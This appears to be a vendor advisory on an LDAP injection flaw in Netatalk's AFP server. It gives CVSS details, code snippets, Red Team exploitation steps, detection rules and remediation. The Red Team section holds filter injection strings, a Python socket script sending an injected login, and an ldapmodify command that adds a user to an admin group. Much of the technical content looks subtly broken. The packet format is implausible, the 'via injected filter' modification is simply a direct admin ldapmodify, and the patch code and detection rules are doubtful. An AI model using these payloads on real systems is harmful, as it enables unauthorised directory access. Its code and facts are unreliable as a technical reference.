CVE-2026-44063

Executive Summary

CVE-2026-44063 is an LDAP injection vulnerability affecting Netatalk versions 2.1.0 through 4.4.2. Netatalk is an open-source implementation of the Apple Filing Protocol (AFP) that allows Unix-like systems to serve as file servers for macOS clients. The vulnerability enables a remote authenticated attacker to manipulate LDAP queries by injecting crafted filter input. This can lead to unauthorized information disclosure (limited LDAP data) or modification of LDAP entries, depending on the LDAP directory permissions. The CVSS score of 4.2 (Medium) reflects the requirement for authentication and the limited impact scope. No public exploit code or proof-of-concept is currently available, and no official patch has been released.

Supply Chain & Package Security

Netatalk is distributed as source code and via package managers on various Linux distributions (e.g., apt, yum). The vulnerability affects the LDAP integration module, which is an optional feature. Organizations using Netatalk with LDAP authentication or directory services should treat this as a supply chain risk, as the unpatched component may be included in default or recommended package installations.

CVSS Breakdown & Threat Level

• CVSS Score: 4.2 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid credentials.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited LDAP data exposure.
• Integrity (I): Low (L) – Limited LDAP entry modification.
• Availability (A): None (N) – No denial-of-service impact.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for LDAP manipulation in environments with weak LDAP ACLs could lead to privilege escalation or data breaches.

Deep Dive & Mechanics

The vulnerability resides in Netatalk's LDAP authentication and directory lookup functionality. When Netatalk processes LDAP filter input (e.g., for user authentication or group membership queries), it fails to properly sanitize or escape special characters. An authenticated attacker can inject LDAP filter syntax by crafting malicious input in fields such as username, group name, or other LDAP query parameters.

Example vulnerable code path (conceptual):

// Vulnerable: Direct concatenation of user input into LDAP filter
snprintf(filter, sizeof(filter), "(uid=%s)", user_input);
ldap_search_s(ld, base, scope, filter, attrs, 0, &result);

Injection vector: An attacker could input *)(uid=*))(|(uid=* to bypass authentication or enumerate LDAP entries.

Impact:

• Information Disclosure: Attacker can enumerate LDAP attributes (e.g., email, groups, UID) by injecting (uid=*)(|(uid=*)) to return all entries.
• Modification: If the LDAP bind account has write permissions, the attacker could modify LDAP entries (e.g., change group membership) using LDAP modify operations via crafted filters.

Vulnerable vs. Patched Code

Vulnerable code (Netatalk 4.4.2):

// In ldap_utils.c
int ldap_authenticate(const char *username, const char *password) {
    char filter[256];
    snprintf(filter, sizeof(filter), "(uid=%s)", username); // No sanitization
    // ... LDAP search and bind
}

Patched code (hypothetical fix):

// In ldap_utils.c
#include <ldap.h>

int ldap_authenticate(const char *username, const char *password) {
    char filter[256];
    // Use LDAP filter escaping function
    char *escaped_username = ldap_escape_filter_value(username);
    if (!escaped_username) return -1;
    snprintf(filter, sizeof(filter), "(uid=%s)", escaped_username);
    ldap_memfree(escaped_username);
    // ... LDAP search and bind
}

The fix requires implementing proper LDAP filter escaping (e.g., using ldap_escape_filter_value() from OpenLDAP) to neutralize special characters like *, (, ), \, and NUL.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Netatalk server (2.1.0–4.4.2) with LDAP authentication enabled.
• Valid credentials for an LDAP user (e.g., testuser).
• Network access to the AFP service (port 548).

Exploitation Steps:

1. Enumerate LDAP structure:

   # Use afppasswd or custom script to send crafted username
   afppasswd -u "testuser)(uid=*))" -p "password" server.local
   

2. Inject LDAP filter to bypass authentication:

   import socket
   
   def exploit(server, port, username, password):
       # Craft AFP login packet with injected LDAP filter
       payload = b"\x00\x03"  # AFP command
       payload += b"\x00\x01"  # Login
       payload += username.encode() + b"\x00"
       payload += password.encode()
       # Send to server
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((server, port))
       sock.send(payload)
       response = sock.recv(1024)
       print(response)
       sock.close()
   
   exploit("192.168.1.100", 548, "*)(uid=*))(|(uid=*", "irrelevant")
   

3. Modify LDAP entries (if write permissions):

   # Use ldapmodify via injected filter
   ldapmodify -H ldap://ldap.server -D "cn=admin,dc=example" -w password <<EOF
   dn: uid=targetuser,dc=example
   changetype: modify
   replace: memberOf
   memberOf: cn=admin,dc=example
   EOF
   

Blue Team (Defensive)

Detection & Response:

1. Monitor AFP logs for unusual LDAP filter patterns:

   grep -E '\(.*\)\(' /var/log/netatalk.log
   

2. Harden LDAP ACLs:

   • Restrict write access to the LDAP bind account used by Netatalk.
   • Use read-only credentials for authentication queries.

3. Network segmentation:

   • Isolate AFP servers from direct LDAP directory access.
   • Use a dedicated LDAP proxy with input validation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • AFP login attempts with usernames containing LDAP special characters (*, (, ), \, |, &, !).
  • Unusual LDAP query patterns from the Netatalk server (e.g., high volume of (uid=*) queries).

• Log IOCs:

  • Netatalk logs showing LDAP search error or Invalid DN syntax.
  • LDAP server logs with malformed filters originating from the Netatalk server IP.

• File IOCs:

  • Modified LDAP entries (e.g., unexpected group memberships).
  • Presence of ldapsearch or ldapmodify commands in Netatalk process execution logs.

Detection Engineering

YARA Rule

rule CVE_2026_44063_LDAP_Injection {
    meta:
        description = "Detects LDAP injection attempts in Netatalk logs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-44063"
    strings:
        $ldap_inject = /\(.*\)\s*\(.*\)/  // Matches nested parentheses
        $special_chars = /[\(\)\*\|\&\!]/
    condition:
        $ldap_inject or $special_chars
}

Sigma Rule

title: Netatalk LDAP Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects LDAP injection patterns in Netatalk authentication logs
author: Valters IT
logsource:
    product: netatalk
    service: afp
detection:
    selection:
        EventID: 100  # Example AFP login event
        Username|contains:
            - '*'
            - '('
            - ')'
            - '|'
            - '&'
            - '!'
    condition: selection
falsepositives:
    - Legitimate usernames with special characters (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 548 (msg:"CVE-2026-44063 Netatalk LDAP Injection Attempt"; flow:to_server,established; content:"|00 03 00 01|"; depth:4; content:"|28|"; within:100; content:"|29|"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable LDAP authentication in Netatalk configuration (afp.conf):

   [Global]
   ; ldap auth = yes  # Comment out or set to no
   

2. Use local authentication or integrate with a non-LDAP directory (e.g., RADIUS, Kerberos).
3. Apply input validation via a reverse proxy or WAF that filters LDAP special characters.

Long-term Fix:

• Monitor Netatalk project for official patch (CVE-2026-44063).
• Apply vendor patch when available, or manually patch source code using ldap_escape_filter_value().
• Upgrade to Netatalk 4.4.3+ (if released).

Workaround:

• Restrict Netatalk server network access to trusted clients only.
• Use strong LDAP ACLs to limit the impact of injection (e.g., read-only bind account).

Valters IT